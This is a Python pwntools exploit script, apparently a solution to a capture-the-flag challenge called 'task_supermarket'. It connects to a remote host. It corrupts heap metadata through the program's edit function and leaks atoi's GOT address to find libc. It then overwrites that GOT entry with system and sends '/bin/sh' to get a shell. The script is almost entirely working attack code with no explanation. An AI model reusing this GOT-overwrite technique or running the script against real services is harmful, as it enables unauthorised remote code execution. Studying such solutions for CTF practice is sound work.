1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
from pwn import * from LibcSearcher import *
context.arch = 'i386' SigreturnFrame(kernel = 'i386')
binary = "./task_supermarket" context.binary = binary libc = ELF(context.binary.libc.path)
context.timeout = 0.2
local = 0 if local: p = process(binary) elf = ELF(binary) else: p = remote("182.116.62.85","27518") elf = ELF(binary)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset it = lambda :p.interactive()
menu = 'your choice>>'
def dockerDbg(): myGdb = remote("127.0.0.1",30001) myGdb.close() pause()
def add(index, size, content): sla(menu, '1') sla('name:', str(index)) sla('price:', '10') sla('descrip_size:', str(size)) sla('description:', content)
def delete(index): sla(menu, '2') sla('name:', str(index))
def list(): sla(menu, '3')
def edit(index, size, content): sla(menu, '5') sla('name:', str(index)) sla('descrip_size:', str(size)) sla('description:',content)
atoi_got = elf.got['atoi']
add(0, 0x80, 'PIG007NB' * 2) add(1, 0x20, 'PIG007NB' * 2) edit(0, 0x90, '') add(2, 0x20, 'PIG007NB' * 2) payload = ""
payload += p64(0x32) payload += p64(0x0)
payload += p32(20) payload += p32(0x20) payload += p32(atoi_got)
edit(0, 0x80, payload) list() ru('2: price.20, des.')
atoi_addr = u32(rc(4).ljust(4,'\x00')) obj = LibcSearcher('atoi', atoi_addr) libc_base = atoi_addr - obj.dump('atoi') system_addr = libc_base + obj.dump('system') edit(2, 0x20, p32(system_addr)) sla(menu, '/bin/sh')
p.interactive()
|